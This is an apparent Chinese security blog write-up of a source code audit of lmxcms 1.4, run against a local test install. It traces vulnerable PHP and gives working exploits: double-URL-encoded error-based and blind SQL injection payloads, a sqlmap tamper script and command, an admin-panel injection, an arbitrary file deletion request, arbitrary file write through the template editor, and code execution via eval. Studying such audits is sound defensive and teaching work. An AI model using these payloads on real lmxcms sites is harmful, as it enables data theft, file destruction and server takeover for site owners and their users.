初学代码审计之lmxcms源代码审计

2024-11-09 4 0

一、环境搭建

1、源码下载:http://www.lmxcms.com/down/

2、phpstorm+xdebug调试环境

3、访问 /install 目录安装

4、安装成功后访问:

初学代码审计之lmxcms源代码审计插图

二、漏洞复现

1、前台TagsAction.class.php存在sql注入漏洞

class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}

public function index(){
$temModel = new parse($this->smarty,$this->config);
echo $temModel->tags($this->data,$this->tagsModel);
}
}
?>

转到p函数的声明

function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v); // 在每个(',",\,NULL)前添加反斜杠
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}

get方式,if($sql) filter_sql($data);转到filter_sql过滤函数

//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
}
}
}
}

跟踪getNameData函数

//根据Tags名字返回id
public function getNameData($name){
$param['where'] = "name = '$name'";
return parent::oneModel($param);
}

跟踪oneModel函数

//获取一条数据
protected function oneModel($param){
return parent::oneDB($this->tab['0'],$this->field,$param);
}

跟踪oneDB函数

protected function oneDB($tab,Array $field,Array $param){
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$We = $this->where($param);
$sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";

//echo $sql;

$result=$this->query($sql);
$data = mysql_fetch_assoc($result);
return $data ? $data : array();
}

访问:http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1,输出sql语句为:SELECT * FROM lmx_tags WHERE name = '1' limit 1

传入name参数-->url解码-->filter_sql过滤-->url二次解码

利用方式:payload url编码-->url编码

报错注入:1' and updatexml(0,concat(0x7e,user()),1)#

初学代码审计之lmxcms源代码审计插图1

url编码脚本

# sqlmap/tamper/urlencode.py

import urllib.parse
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

import urllib.parse  

def tamper(payload, **kwargs):  
"""  
对payload进行URL编码的tamper函数。  

:param payload: 需要编码的原始payload字符串  
:param kwargs: 额外的关键字参数(本函数不使用,但保留以兼容sqlmap的接口)  
:return: URL编码后的payload字符串  
"""  
# 使用urllib.parse.quote进行URL编码,确保参数是字符串类型  
if isinstance(payload, str):  
encoded_payload = urllib.parse.quote(payload)  
enencoded_payload = urllib.parse.quote(encoded_payload)
return enencoded_payload

使用sqlmap:python sqlmap.py -u "http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1" -p "name" --proxy "http://127.0.0.1:8080" --tamper=urlencode.py

初学代码审计之lmxcms源代码审计插图2

使用xdebug+phpstorm调试

http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33?XDEBUG_SESSION_START=16408

初学代码审计之lmxcms源代码审计插图3

传入二次url编码后name=%31%27%20%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%30%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%75%73%65%72%28%29%29%2c%31%29%23

初学代码审计之lmxcms源代码审计插图4

经过urldecode函数解码后,name=1' and updatexml(0,concat(0x7e,user()),1)#

2、前台SearchAction.class.php存在sql注入漏洞

首页有一个搜索框

初学代码审计之lmxcms源代码审计插图5

搜索后url:http://127.0.0.1/lmxcms1.4/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=1

查看对应文件函数

index函数

public function index(){
$this->param['ischild'] = 1;
$arr = $this->searchModel->getSerachField($this->param);//初始化条件
$count = $this->searchModel->searchCoutn($arr);
if($count > 0){
$page = new page($count,$GLOBALS['public']['searchnum']);
//获取列表数据
$arr['page'] = $page->returnLimit();
$arr['is_home'] = 1;
$searchData = $this->searchModel->getSearchList($arr,$this->param);
//赋值url和其他变量
foreach($searchData as $v){
$param['type'] = 'content';
$param['classid'] = $v['classid'];
$param['classpath'] = $GLOBALS['allclass'][$v['classid']]['classpath'];
$param['time'] = $v['time'];
$param['id'] = $v['id'];
$v['classname'] = $GLOBALS['allclass'][$v['classid']]['classname'];
$v['url'] = $v['url'] ? $v['url'] : url($param);
$v['classurl'] = classurl($v['classid']);
$v['classimage'] = $GLOBALS['allclass'][$v['classid']]['images'];
$v['parent_classid'] = $GLOBALS['allclass'][$v['classid']]['uid'];
$newlist[] = $v;
}
$this->smarty->assign('list',$newlist);
$this->smarty->assign('page',$page->html());
}
$this->smarty->assign('num',$count);
//获取搜索列表模板
if(!$this->param['tem']){
if($this->param['classid']){
$classtem = $GLOBALS['allclass'][$arr['classid']]['searchtem'];
$arr['tem'] = $classtem ? $classtem : 'index';
}else{
$arr['tem'] = 'index';
}
}else{
$arr['tem'] = $this->param['tem'];
}
$this->setSearchTime(); //保存搜索时间
$this->smarty->assign('title',$this->param['keywords']);
$this->smarty->assign('keywords',$this->param['keywords']);
$this->smarty->assign('description',$this->param['keywords']);
$this->smarty->display('search/'.$arr['tem'].'.html');
}

跟踪searchCoutn函数

public function searchCoutn($searchInfo){
$param = $this->sqlStr($searchInfo);
$param['force'] = 'title';
return parent::countModel($param);
}

跟踪countModel函数

protected function countModel($param=array()){
return parent::countDB($this->tab['0'],$param);
}

跟踪countDB函数

protected function countDB($tab,$param){
$We = $this->where($param);
$sql="SELECT count(1) FROM ".DB_PRE."$tab $We";

echo $sql;

$result=$this->query($sql);
$data = mysql_fetch_row($result);
$this->result($result);
return $data['0'];
}

在SearchAction.class文件中还有一个验证接收数据并返回的函数,p函数会对输入的数据进行过滤,我们可以构造参数tem、filed、time、tuijian、remen参数尝试sql注入

private function check(){
//获取get数据
$data = p(2,1,1);
$this->param['keywords'] = string::delHtml($data['keywords']);
if(!$this->param['keywords'] && $this->config['search_isnull']){
rewrite::error($this->l['search_is_keywords']);
}
$this->param['classid'] = (int)$data['classid'];
$this->param['mid'] = (int)$data['mid'];
if(!$this->param['classid'] && !$this->param['mid']) rewrite::error($this->l['search_is_param']);
if($this->param['classid'] && !isset($GLOBALS['allclass'][$this->param['classid']])){
rewrite::error($this->l['search_is_classid']);
}
if($this->param['mid'] && !isset($GLOBALS['allmodule'][$this->param['mid']])){
rewrite::error($this->l['search_is_mid']);
}
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
}

经过尝试发现tuijian、remen参数可以注入

p函数中有过滤函数

if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
},可以使用布尔盲注

初学代码审计之lmxcms源代码审计插图6

初学代码审计之lmxcms源代码审计插图7

3、后台BookAction.class.php文件存在SQL注入漏洞

public function reply(){
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
//获取回复数据
$reply = $this->bookModel->getReply(array($id));
if($reply){
$reply = string::html_char($reply[0]['content']);
$this->smarty->assign('content',$reply);
$this->smarty->assign('type','update');
}else{
$this->smarty->assign('type','add');
}
if(isset($_POST['reply'])){
if(!$_POST['content']){
rewrite::js_back('回复内容不能为空');
}
$this->bookModel->reply(array('id'=>$id,'type'=>$_POST['type'],'username'=>$this->username));
addlog('留言回复【id:'.$_POST['id'].'】');
rewrite::succ('修改成功','?m=Book');
}
$this->smarty->assign('id',$id);
$this->smarty->display('Book/reply.html');
}

id参数可控,转到getReply函数

//根据留言id获取全部回复
public function getReply(array $id){
$id = implode(',',$id);
$param['where'] = 'uid in('.$id.')';
return parent::selectModel($param);
}

转到selectModel函数

//获取数据
protected function selectModel($param=array()){
if($param['field']){
$this->field=$param['field'];
}
return parent::selectDB($this->tab['0'],$this->field,$param);
}

转到selectDB函数

//查询
protected function selectDB($tab,Array $field,$param=array()){
$arr = array();
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$sqlStr = $this->where($param);
$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
echo $sql;
$result=$this->query($sql);
while(!!$a=mysql_fetch_assoc($result)){
$arr[]=$a;
}
$this->result($result);
return $arr;
}

http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=999

可以看到sql语句为:SELECT * FROM lmx_book WHERE uid in(999)

括号闭合payload:id=9)%20and%20updatexml(0,concat(0x7e,user()),1)--+-

初学代码审计之lmxcms源代码审计插图8

初学代码审计之lmxcms源代码审计插图9

4、后台FileAction.class.php文件存在任意文件删除漏洞

初学代码审计之lmxcms源代码审计插图10

burp抓包

初学代码审计之lmxcms源代码审计插图11

url为http://127.0.0.1/lmxcms1.4/admin.php?m=Index&a=index;POST参数解码为:fid[]=7#####/lmxcms1.4/file/d/product/20140827/201408271642357617.jpg

查看FileAction.class.php文件中的delete函数

//删除
public function delete(){
if(!$_POST['fid']) rewrite::js_back('请选择要删除的文件');
$this->fileModel->delete($_POST);
addlog('删除文件、图片');
rewrite::succ('删除成功');
}

跟进delete函数声明

public function delete($data){
$param['where'][] = 'type='.$data['type'];
foreach($data['fid'] as $k => $v){
$fileInfo = explode('#####',$v);
// 用#####分割字符串
$fid[] = $fileInfo[0];
$path[] = trim($fileInfo[1],'/');
}
$fid = implode(',',$fid);
$param['where'][] = 'fid in('.$fid.')';
if(parent::deleteModel($param)){
//删除文件
foreach($path as $v){
file::unLink(ROOT_PATH.$v);
}
}
}

代码端没什么过滤,只需在路径前添加#####

调试看一下fid参数值的变化

初学代码审计之lmxcms源代码审计插图12

在other文件夹下创建一个1.txt文件

初学代码审计之lmxcms源代码审计插图13

构造payload:8%23%23%23%23%23/other/1.txt;发包

初学代码审计之lmxcms源代码审计插图14

文件成功删除

初学代码审计之lmxcms源代码审计插图15

5、后台TemplateAction.class.php任意文件写入漏洞

初学代码审计之lmxcms源代码审计插图16

抓包

初学代码审计之lmxcms源代码审计插图17

dir参数可控,修改为首页index.php文件

成功读取

初学代码审计之lmxcms源代码审计插图19

在index.php文件添加phpinfo();后提交抓包

访问首页显示phpinfo内容。查看代码逻辑:

editfile.class.php

public function editfile(){
$dir = $_GET['dir'];
//保存修改
if(isset($_POST['settemcontent'])){
if($this->config['template_edit']){
rewrite::js_back('系统设置禁止修改模板文件');
}
file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
addlog('修改模板文件'.$this->config['template'].$dir);
rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
exit();
}
$pathinfo = pathinfo($dir);
//获取文件内容
$content = string::html_char(file::getcon($this->config['template'].$dir));
$this->smarty->assign('filename',$pathinfo['basename']);
$this->smarty->assign('temcontent',$content);
$this->smarty->assign('dir',dirname($_GET['dir']));
$this->smarty->display('Template/temedit.html');
}

dir参数可控,跟进put函数

public static function put($path,$data){
if(file_put_contents($path,$data) === false)
rewrite::js_back('请检查【'.$path.'】是否有读写权限');
}

file_put_contents是 PHP 中用于将字符串写入文件的函数。如果文件不存在,它会创建一个新文件,如果文件已存在,它会覆盖文件内容。这样说的话,不用修改文件内容,可以直接创建一个新文件。

初学代码审计之lmxcms源代码审计插图20

在首页目录下创建phpinfo.php,显示phpinfo内容

初学代码审计之lmxcms源代码审计插图21

6、后台AcquisiAction.class.php文件存在命令执行漏洞

搜索eval函数

初学代码审计之lmxcms源代码审计插图22

$date和$temdata有关,$temdata和cid有关,跟进caijiDataOne函数

public function caijiDataOne($id){
$this->cj_data_tab();
$param['where'] = 'id='.$id;
return parent::oneModel($param);
}

跟进oneModel函数

protected function oneModel($param){
return parent::oneDB($this->tab['0'],$this->field,$param);
}

跟进oneDB函数

protected function oneDB($tab,Array $field,Array $param){
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$We = $this->where($param);
$sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
$result=$this->query($sql);
$data = mysql_fetch_assoc($result);
return $data ? $data : array();
}

执行了一条sql语句,把输出结果传给$data,调试一下看参数如何传递

初学代码审计之lmxcms源代码审计插图23

sql语句为select * from lmx_cj_data where id=33 limit 1;但是$data值为false,有点疑惑,登上数据库看一下

初学代码审计之lmxcms源代码审计插图24

表中id=33的data为空,我们插入一条数据id=11,我们传入的cid值就是表中的id

初学代码审计之lmxcms源代码审计插图25

传入cid=11&lid=4&id=1构造payload:/lmxcms1.4/admin.php?m=Acquisi&a=showCjData&id=1&cid=11&lid=4

初学代码审计之lmxcms源代码审计插图26

成功执行命令,但是如果我们不能直接操作数据库,那是不是就没有这个漏洞了呢

网站有一个功能点,可以执行sql语句

初学代码审计之lmxcms源代码审计插图27

插入一条id=2&lid=3&data=phpinfo();的数据

初学代码审计之lmxcms源代码审计插图28

成功执行代码


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

PyTorch库RPC框架反序列化RCE漏洞分析(CVE-2024-48063)
对抗性机器学习:安全威胁与防范措施
摄像头的隐秘安全危机:谁在悄悄监视你?
密码学中的加解密
[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升
守住数据安全的第一道防线——权限管理全解析

发布评论